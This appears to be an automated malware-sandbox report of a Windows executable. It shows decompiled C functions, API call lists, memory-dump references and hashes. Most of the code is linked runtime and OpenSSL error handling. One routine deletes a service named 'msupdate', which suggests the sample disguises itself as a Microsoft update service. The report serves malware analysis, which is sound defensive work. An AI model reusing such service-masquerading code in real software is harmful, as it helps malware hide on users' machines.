                                                                0x00b99b3e
                                                                0x00b99b3e
                                                                0x00b99b44
                                                                0x00b99b4b
                                                                0x00b99b4b
                                                                0x00b99b55

                                                                APIs
                                                                • __lock.LIBCMT ref: 00B99B28
                                                                  • Part of subcall function 00B8FD40: __mtinitlocknum.LIBCMT ref: 00B8FD56
                                                                  • Part of subcall function 00B8FD40: __amsg_exit.LIBCMT ref: 00B8FD62
                                                                  • Part of subcall function 00B8FD40: EnterCriticalSection.KERNEL32(?,?,?,00B90AAD,00000004,00BDFCC8,0000000C,00B89D5A,?,?,00000000,?,?,?,00AB1010,00000021), ref: 00B8FD6A
                                                                • __tzset_nolock.LIBCMT ref: 00B99B39
                                                                  • Part of subcall function 00B993FB: __lock.LIBCMT ref: 00B9941D
                                                                  • Part of subcall function 00B993FB: __get_daylight.LIBCMT ref: 00B99432
                                                                  • Part of subcall function 00B993FB: __invoke_watson.LIBCMT ref: 00B99441
                                                                  • Part of subcall function 00B993FB: __get_daylight.LIBCMT ref: 00B9944D
                                                                  • Part of subcall function 00B993FB: __invoke_watson.LIBCMT ref: 00B9945C
                                                                  • Part of subcall function 00B993FB: __get_daylight.LIBCMT ref: 00B99468
                                                                  • Part of subcall function 00B993FB: __invoke_watson.LIBCMT ref: 00B99477
                                                                  • Part of subcall function 00B993FB: ____lc_codepage_func.LIBCMT ref: 00B9947F
                                                                  • Part of subcall function 00B993FB: __getenv_helper_nolock.LIBCMT ref: 00B994A1
                                                                  • Part of subcall function 00B993FB: _strlen.LIBCMT ref: 00B994DF
                                                                  • Part of subcall function 00B993FB: __malloc_crt.LIBCMT ref: 00B994E6
                                                                  • Part of subcall function 00B993FB: _strlen.LIBCMT ref: 00B994FC
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __get_daylight__invoke_watson$__lock_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock
                                                                • String ID:
                                                                • API String ID: 4157481694-0
                                                                • Opcode ID: 0eabab0c7d0eda13703e2d76b1c6114d4b31e16c095bc691a19d6be823e533bb
                                                                • Instruction ID: 39d4a69cb01841d3712f34bd52eecba540cf0c0367f9fc8e34c3975b4fb70470
                                                                • Opcode Fuzzy Hash: 0eabab0c7d0eda13703e2d76b1c6114d4b31e16c095bc691a19d6be823e533bb
                                                                • Instruction Fuzzy Hash: 5CE08C30984351DACFA1BBA5685361CB3E0EB14B22F2041FAF6441B0E589700549CB96
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 65%
                                                                			E00B8ADA3(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				intOrPtr _t16;
                                                                				intOrPtr _t21;
                                                                				void* _t31;
                                                                				intOrPtr _t38;
                                                                
                                                                				_push(0xc);
                                                                				_push(0xbdfa40);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				if( *((intOrPtr*)(_t31 + 0xc)) == 0 ||  *((intOrPtr*)(_t31 + 0x10)) == 0) {
                                                                					L4:
                                                                					_t16 = 0;
                                                                				} else {
                                                                					_t38 =  *((intOrPtr*)(_t31 + 0x14));
                                                                					_t39 = _t38 != 0;
                                                                					if(_t38 != 0) {
                                                                						E00B8A4BD( *((intOrPtr*)(_t31 + 0x14)));
                                                                						 *((intOrPtr*)(_t31 - 4)) = 0;
                                                                						_t21 = E00B8AC41(__edx,  *((intOrPtr*)(_t31 + 8)),  *((intOrPtr*)(_t31 + 0xc)),  *((intOrPtr*)(_t31 + 0x10)),  *((intOrPtr*)(_t31 + 0x14))); // executed
                                                                						 *((intOrPtr*)(_t31 - 0x1c)) = _t21;
                                                                						 *((intOrPtr*)(_t31 - 4)) = 0xfffffffe;
                                                                						E00B8AE1B();
                                                                						_t16 =  *((intOrPtr*)(_t31 - 0x1c));
                                                                					} else {
                                                                						 *((intOrPtr*)(E00B8D8C9(_t39))) = 0x16;
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						_push(0);
                                                                						E00B8FB6E(__edx, __edi, 0);
                                                                						goto L4;
                                                                					}
                                                                				}
                                                                				return E00B9087D(_t16);
                                                                			}







                                                                0x00b8ada3
                                                                0x00b8ada5
                                                                0x00b8adaa
                                                                0x00b8adb4
                                                                0x00b8addf
                                                                0x00b8addf
                                                                0x00b8adbb
                                                                0x00b8adbd
                                                                0x00b8adc3
                                                                0x00b8adc5
                                                                0x00b8adea
                                                                0x00b8adf0
                                                                0x00b8adff
                                                                0x00b8ae07
                                                                0x00b8ae0a
                                                                0x00b8ae11
                                                                0x00b8ae16
                                                                0x00b8adc7
                                                                0x00b8adcc
                                                                0x00b8add2
                                                                0x00b8add3
                                                                0x00b8add4
                                                                0x00b8add5
                                                                0x00b8add6
                                                                0x00b8add7
                                                                0x00000000
                                                                0x00b8addc
                                                                0x00b8adc5
                                                                0x00b8ade6

                                                                APIs
                                                                • __lock_file.LIBCMT ref: 00B8ADEA
                                                                  • Part of subcall function 00B8D8C9: __getptd_noexit.LIBCMT ref: 00B8D8C9
                                                                  • Part of subcall function 00B8FB6E: __decode_pointer.LIBCMT ref: 00B8FB79
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __decode_pointer__getptd_noexit__lock_file
                                                                • String ID:
                                                                • API String ID: 3158947991-0
                                                                • Opcode ID: 13f95bec1e6397c37e144359515502c79df550f8ce7e8cd199d4abe342b5ba9f
                                                                • Instruction ID: a679c4c9d07bdbc927f1057bc03d18e7baa5ef803dd84cb92ffa92f6640568fc
                                                                • Opcode Fuzzy Hash: 13f95bec1e6397c37e144359515502c79df550f8ce7e8cd199d4abe342b5ba9f
                                                                • Instruction Fuzzy Hash: FAF04F31D0122AEBDF61BFA0DC0299E7BF0EF04712F5484E6F815961B1D7358A61EB92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 86%
                                                                			E00AB15D0(void* __ebx, CHAR* __edi, long _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                				intOrPtr _v8;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				long _t8;
                                                                				void* _t9;
                                                                				void* _t11;
                                                                				CHAR* _t14;
                                                                				intOrPtr _t16;
                                                                
                                                                				_t14 = __edi;
                                                                				_t11 = __ebx;
                                                                				_t16 = _a8;
                                                                				_v8 = _a12;
                                                                				_t8 = GetFileAttributesA(__edi); // executed
                                                                				if(_t8 != 0xffffffff) {
                                                                					_t9 = L00B8A96D(__edi, 0xbdf778); // executed
                                                                					if(_t9 == 0) {
                                                                						L4:
                                                                						_t8 = _a4;
                                                                						if(_t8 != 0 && _t8 == 1) {
                                                                							_push(_t16);
                                                                							_push(_t11);
                                                                							return L00AB11C0(_v8, _t14);
                                                                						}
                                                                					} else {
                                                                						_t8 = E00AB10C0(__ebx, _t9, _t16);
                                                                						if(_t8 == 0 || _a4 != 1) {
                                                                							goto L4;
                                                                						}
                                                                					}
                                                                				}
                                                                				return _t8;
                                                                			}











                                                                0x00ab15d0
                                                                0x00ab15d0
                                                                0x00ab15d8
                                                                0x00ab15de
                                                                0x00ab15e2
                                                                0x00ab15eb
                                                                0x00ab15f3
                                                                0x00ab15fd
                                                                0x00ab1611
                                                                0x00ab1611
                                                                0x00ab1617
                                                                0x00ab1622
                                                                0x00ab1623
                                                                0x00000000
                                                                0x00ab162b
                                                                0x00ab15ff
                                                                0x00ab1601
                                                                0x00ab1608
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1608
                                                                0x00ab15fd
                                                                0x00ab1633

                                                                APIs
                                                                • GetFileAttributesA.KERNELBASE ref: 00AB15E2
                                                                  • Part of subcall function 00AB10C0: __fread_nolock.LIBCMT ref: 00AB10E1
                                                                  • Part of subcall function 00AB10C0: __fread_nolock.LIBCMT ref: 00AB1125
                                                                  • Part of subcall function 00AB10C0: __fread_nolock.LIBCMT ref: 00AB114C
                                                                  • Part of subcall function 00AB10C0: __fread_nolock.LIBCMT ref: 00AB1164
                                                                  • Part of subcall function 00AB10C0: __fread_nolock.LIBCMT ref: 00AB1189
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __fread_nolock$AttributesFile
                                                                • String ID:
                                                                • API String ID: 1831139023-0
                                                                • Opcode ID: 78dc175821688b9fb87b8d229c30695931ee603c4f134301427e61083320ff69
                                                                • Instruction ID: 7f671771dc1f44e68193c96cdaf8e4b78e7f4aff733aeb22fa14a441ef2e4db5
                                                                • Opcode Fuzzy Hash: 78dc175821688b9fb87b8d229c30695931ee603c4f134301427e61083320ff69
                                                                • Instruction Fuzzy Hash: 10F0B435A04301578A20AB35AD754ABB7DC9E81751F880539F814D3252FA24DC58CBB3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC33F0(intOrPtr _a4) {
                                                                				intOrPtr _t2;
                                                                				void* _t4;
                                                                				void* _t6;
                                                                				void* _t7;
                                                                				void* _t8;
                                                                
                                                                				_t2 =  *0xbe1284; // 0xac33f0
                                                                				if(_t2 == 0 || _t2 == E00AC33F0) {
                                                                					_t3 = _a4;
                                                                					if(_a4 > 0) {
                                                                						 *0xbe1280 = 0; // executed
                                                                						_t4 = E00B8A294(_t6, _t7, _t8, _t3); // executed
                                                                						return _t4;
                                                                					} else {
                                                                						return 0;
                                                                					}
                                                                				} else {
                                                                					goto __eax;
                                                                				}
                                                                			}








                                                                0x00ac33f0
                                                                0x00ac33f7
                                                                0x00ac3402
                                                                0x00ac3408
                                                                0x00ac340e
                                                                0x00ac3418
                                                                0x00ac3420
                                                                0x00ac340a
                                                                0x00ac340c
                                                                0x00ac340c
                                                                0x00ac3400
                                                                0x00ac3400
                                                                0x00ac3400

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _malloc
                                                                • String ID:
                                                                • API String ID: 1579825452-0
                                                                • Opcode ID: 5a8f424c813d1c01f7486790c4693f17462bb5e9284f2413708a471bc74c5370
                                                                • Instruction ID: 479e03ebd498c39dcfd7e23f4a24385db991263d124dc22bddc1068e1e66b8cd
                                                                • Opcode Fuzzy Hash: 5a8f424c813d1c01f7486790c4693f17462bb5e9284f2413708a471bc74c5370
                                                                • Instruction Fuzzy Hash: 09D0A77230014046EFB99B1C9D81F0A37C8E700B42F59886CE40CC6150EB34C9059213
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00B93EB3() {
                                                                				void* _t1;
                                                                
                                                                				_t1 = E00B93E41(0); // executed
                                                                				return _t1;
                                                                			}




                                                                0x00b93eb5
                                                                0x00b93ebb

                                                                APIs
                                                                • __encode_pointer.LIBCMT ref: 00B93EB5
                                                                  • Part of subcall function 00B93E41: TlsGetValue.KERNEL32(00000000,?,00B93EBA,00000000,00B99CC0,00BE9900,00000000,00000314,?,00B913E2,00BE9900,Microsoft Visual C++ Runtime Library,00012010), ref: 00B93E53
                                                                  • Part of subcall function 00B93E41: TlsGetValue.KERNEL32(00000005,?,00B93EBA,00000000,00B99CC0,00BE9900,00000000,00000314,?,00B913E2,00BE9900,Microsoft Visual C++ Runtime Library,00012010), ref: 00B93E6A
                                                                  • Part of subcall function 00B93E41: RtlEncodePointer.NTDLL(00000000,?,00B93EBA,00000000,00B99CC0,00BE9900,00000000,00000314,?,00B913E2,00BE9900,Microsoft Visual C++ Runtime Library,00012010), ref: 00B93EA8
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Value$EncodePointer__encode_pointer
                                                                • String ID:
                                                                • API String ID: 2585649348-0
                                                                • Opcode ID: d1141d789f2f235ad7d8d89ca010657446648e495bfbff0b7a12f25c8c72bdcd
                                                                • Instruction ID: b319a312f7a1bc7eff55495f54f5609501d9fce79e9547b1ac8564ec710aa3e9
                                                                • Opcode Fuzzy Hash: d1141d789f2f235ad7d8d89ca010657446648e495bfbff0b7a12f25c8c72bdcd
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Non-executed Functions

                                                                C-Code - Quality: 94%
                                                                			E00AC7A30(char* _a4, char _a8) {
                                                                				signed int _v8;
                                                                				short _v10;
                                                                				void _v520;
                                                                				long _v524;
                                                                				void* _v536;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t43;
                                                                				char* _t46;
                                                                				signed int _t50;
                                                                				signed int _t51;
                                                                				long _t62;
                                                                				char* _t63;
                                                                				char _t64;
                                                                				signed short* _t69;
                                                                				char* _t73;
                                                                				void* _t76;
                                                                				int _t80;
                                                                				void* _t81;
                                                                				signed int _t82;
                                                                				void* _t83;
                                                                
                                                                				E00B8BB10(0x208);
                                                                				_t43 =  *0xbe5970; // 0xe6e1d076
                                                                				_v8 = _t43 ^ _t82;
                                                                				_t81 = GetStdHandle(0xfffffff4);
                                                                				if(_t81 == 0 || GetFileType(_t81) == 0) {
                                                                					_t63 = _a4;
                                                                					_t46 = _t63;
                                                                					_t73 =  &(_t46[1]);
                                                                					do {
                                                                						_t64 =  *_t46;
                                                                						_t46 =  &(_t46[1]);
                                                                					} while (_t64 != 0);
                                                                					_t80 = _t46 - _t73 + 1;
                                                                					E00B8C610(_t80 + _t80);
                                                                					_t81 = _t83;
                                                                					if(_t81 != 0) {
                                                                						_t50 = MultiByteToWideChar(0, 0, _t63, _t80, _t81, _t80);
                                                                						if(_t50 != 0 || _t80 <= 0) {
                                                                							L13:
                                                                							_t51 = 0;
                                                                							if(_t80 <= 0) {
                                                                								L25:
                                                                								E00B8C710( &_v520, 0xff, _t81,  &_a8);
                                                                								_t74 = 0;
                                                                								_v10 = 0;
                                                                								if(GetVersion() >= 0x80000000 || E00AC78F0() <= 0) {
                                                                									_t74 =  &_v520;
                                                                									_t55 = MessageBoxW(0,  &_v520, L"OpenSSL: FATAL", 0x10);
                                                                								} else {
                                                                									_t81 = RegisterEventSourceW(0, L"OpenSSL");
                                                                									if(_t81 != 0) {
                                                                										_v524 =  &_v520;
                                                                										ReportEventW(_t81, 1, 0, 0, 0, 1, 0,  &_v524, 0);
                                                                										_t55 = DeregisterEventSource(_t81);
                                                                									}
                                                                								}
                                                                								goto L30;
                                                                							} else {
                                                                								goto L14;
                                                                							}
                                                                							do {
                                                                								L14:
                                                                								if( *((short*)(_t81 + _t51 * 2)) != 0x25) {
                                                                									goto L24;
                                                                								}
                                                                								_t69 = _t81 + 2 + _t51 * 2;
                                                                								while(1) {
                                                                									L16:
                                                                									_t76 = ( *_t69 & 0x0000ffff) + 0xffffffd6;
                                                                									if(_t76 > 0x49) {
                                                                										goto L24;
                                                                									}
                                                                									switch( *((intOrPtr*)(( *(_t76 + 0xac7c20) & 0x000000ff) * 4 +  &M00AC7C08))) {
                                                                										case 0:
                                                                											_t51 = _t51 + 1;
                                                                											_t69 =  &(_t69[1]);
                                                                											goto L16;
                                                                										case 1:
                                                                											__edx = 0x63;
                                                                											goto L23;
                                                                										case 2:
                                                                											__edx = 0x73;
                                                                											L23:
                                                                											 *((short*)(__esi + 2 + __eax * 2)) = __dx;
                                                                											goto L24;
                                                                										case 3:
                                                                											__ecx = 0x43;
                                                                											 *((short*)(__esi + 2 + __eax * 2)) = __cx;
                                                                											goto L24;
                                                                										case 4:
                                                                											__ecx = 0x53;
                                                                											 *((short*)(__esi + 2 + __eax * 2)) = __cx;
                                                                											goto L24;
                                                                										case 5:
                                                                											goto L24;
                                                                									}
                                                                								}
                                                                								L24:
                                                                								_t51 = _t51 + 1;
                                                                							} while (_t51 < _t80);
                                                                							goto L25;
                                                                						} else {
                                                                							do {
                                                                								 *((short*)(_t81 + _t50 * 2)) = _a4[_t50];
                                                                								_t50 = _t50 + 1;
                                                                							} while (_t50 < _t80);
                                                                							goto L13;
                                                                						}
                                                                					}
                                                                					_t81 = L"no stack?";
                                                                					goto L25;
                                                                				} else {
                                                                					_t62 = E00B8C7E0( &_v520, 0x200, _a4,  &_a8);
                                                                					if(_t62 < 0) {
                                                                						_t62 = 0x200;
                                                                					}
                                                                					_t74 =  &_v520;
                                                                					_t55 = WriteFile(_t81,  &_v520, _t62,  &_v524, 0);
                                                                					L30:
                                                                					return E00B89C26(_t55, _t63, _v8 ^ _t82, _t74, _t80, _t81);
                                                                				}
                                                                			}

























                                                                0x00ac7a38
                                                                0x00ac7a3d
                                                                0x00ac7a44
                                                                0x00ac7a52
                                                                0x00ac7a56
                                                                0x00ac7aa5
                                                                0x00ac7aa8
                                                                0x00ac7aaa
                                                                0x00ac7ab0
                                                                0x00ac7ab0
                                                                0x00ac7ab2
                                                                0x00ac7ab3
                                                                0x00ac7ab9
                                                                0x00ac7abf
                                                                0x00ac7ac4
                                                                0x00ac7ac8
                                                                0x00ac7adc
                                                                0x00ac7ae4
                                                                0x00ac7b01
                                                                0x00ac7b01
                                                                0x00ac7b05
                                                                0x00ac7b5f
                                                                0x00ac7b70
                                                                0x00ac7b75
                                                                0x00ac7b7a
                                                                0x00ac7b89
                                                                0x00ac7bdf
                                                                0x00ac7be8
                                                                0x00ac7b94
                                                                0x00ac7ba1
                                                                0x00ac7ba5
                                                                0x00ac7bc3
                                                                0x00ac7bc9
                                                                0x00ac7bd0
                                                                0x00ac7bd0
                                                                0x00ac7ba5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b07
                                                                0x00ac7b07
                                                                0x00ac7b0c
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b0e
                                                                0x00ac7b12
                                                                0x00ac7b12
                                                                0x00ac7b15
                                                                0x00ac7b1b
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b24
                                                                0x00000000
                                                                0x00ac7b2b
                                                                0x00ac7b2c
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b50
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b3d
                                                                0x00ac7b55
                                                                0x00ac7b55
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b44
                                                                0x00ac7b49
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b31
                                                                0x00ac7b36
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7b24
                                                                0x00ac7b5a
                                                                0x00ac7b5a
                                                                0x00ac7b5b
                                                                0x00000000
                                                                0x00ac7af0
                                                                0x00ac7af0
                                                                0x00ac7af8
                                                                0x00ac7afc
                                                                0x00ac7afd
                                                                0x00000000
                                                                0x00ac7af0
                                                                0x00ac7ae4
                                                                0x00ac7aca
                                                                0x00000000
                                                                0x00ac7a63
                                                                0x00ac7a77
                                                                0x00ac7a81
                                                                0x00ac7a83
                                                                0x00ac7a83
                                                                0x00ac7a92
                                                                0x00ac7a9a
                                                                0x00ac7bee
                                                                0x00ac7c04
                                                                0x00ac7c04

                                                                APIs
                                                                • GetStdHandle.KERNEL32(000000F4,00000000,00000000,00000000,?,00AC7C89,%s:%d: OpenSSL internal error: %s,?,?,000000B1,00AB64AF,assertion failed: EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv),crypto\evp\evp_enc.c,000000B1), ref: 00AC7A4C
                                                                • GetFileType.KERNEL32(00000000,?,?,?,00000000,00000001,?,?,?,?,?,?,?,00000001,00000004,00000000), ref: 00AC7A59
                                                                • _vswprintf_s.LIBCMT ref: 00AC7A77
                                                                  • Part of subcall function 00B8C7E0: __vsnprintf_l.LIBCMT ref: 00B8C7F3
                                                                • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000,00000001), ref: 00AC7A9A
                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00000000,00000001), ref: 00AC7ADC
                                                                • _vswprintf_s.LIBCMT ref: 00AC7B70
                                                                • GetVersion.KERNEL32(?,?,?,?,?,?,?,00000000,00000001,?,?,?,?,?,?,?), ref: 00AC7B7E
                                                                • RegisterEventSourceW.ADVAPI32(00000000,OpenSSL), ref: 00AC7B9B
                                                                • ReportEventW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00AC7BC9
                                                                • DeregisterEventSource.ADVAPI32(00000000), ref: 00AC7BD0
                                                                • MessageBoxW.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00AC7BE8
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Event$FileSource_vswprintf_s$ByteCharDeregisterHandleMessageMultiRegisterReportTypeVersionWideWrite__vsnprintf_l
                                                                • String ID: OpenSSL$OpenSSL: FATAL$no stack?
                                                                • API String ID: 1577032427-278800372
                                                                • Opcode ID: 56e28ff2c11d9bde012acec6d2c51e66b57a21ae02eb470cf12cfc911eb3f7e7
                                                                • Instruction ID: 221ef8ebbdd556e655f5f50899f04b5d5aadbd386f85a02d97aeb2fee7073801
                                                                • Opcode Fuzzy Hash: 56e28ff2c11d9bde012acec6d2c51e66b57a21ae02eb470cf12cfc911eb3f7e7
                                                                • Instruction Fuzzy Hash: 35514831618315ABDB20AB24CC4AFBE3779EF45740F11849CF916AB191EB709E00CFA4
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AB1C80() {
                                                                				void* _t1;
                                                                				int _t5;
                                                                				void* _t10;
                                                                				void* _t12;
                                                                
                                                                				_t1 = OpenSCManagerA(0, 0, 0xf003f);
                                                                				_t10 = _t1;
                                                                				if(_t10 == 0) {
                                                                					return _t1;
                                                                				} else {
                                                                					_t12 = OpenServiceA(_t10, "msupdate", 0xf01ff);
                                                                					if(_t12 != 0) {
                                                                						DeleteService(_t12);
                                                                						 *0xbe9ed4 = 1;
                                                                						 *0xbe9ed8 = 1;
                                                                						_t5 =  *0xbe9eec; // 0x0
                                                                						 *0xbe9edc = 0;
                                                                						 *0xbe9ee8 = 0;
                                                                						 *0xbe9ee4 = 0;
                                                                						SetServiceStatus(_t5, 0xbe9ed0);
                                                                						CloseServiceHandle(_t12);
                                                                						return CloseServiceHandle(_t10);
                                                                					}
                                                                					return CloseServiceHandle(_t10);
                                                                				}
                                                                			}







                                                                0x00ab1c8a
                                                                0x00ab1c90
                                                                0x00ab1c94
                                                                0x00ab1d0b
                                                                0x00ab1c96
                                                                0x00ab1ca8
                                                                0x00ab1cac
                                                                0x00ab1cb9
                                                                0x00ab1cc4
                                                                0x00ab1cc9
                                                                0x00ab1cce
                                                                0x00ab1cd9
                                                                0x00ab1ce3
                                                                0x00ab1ced
                                                                0x00ab1cf7
                                                                0x00ab1d04
                                                                0x00000000
                                                                0x00ab1d09
                                                                0x00ab1cb7
                                                                0x00ab1cb7

                                                                APIs
                                                                • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00AB1C8A
                                                                • OpenServiceA.ADVAPI32(00000000,msupdate,000F01FF), ref: 00AB1CA2
                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00AB1CAF
                                                                • DeleteService.ADVAPI32(00000000), ref: 00AB1CB9
                                                                • SetServiceStatus.ADVAPI32(00000000,00BE9ED0), ref: 00AB1CF7
                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00AB1D04
                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00AB1D07
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
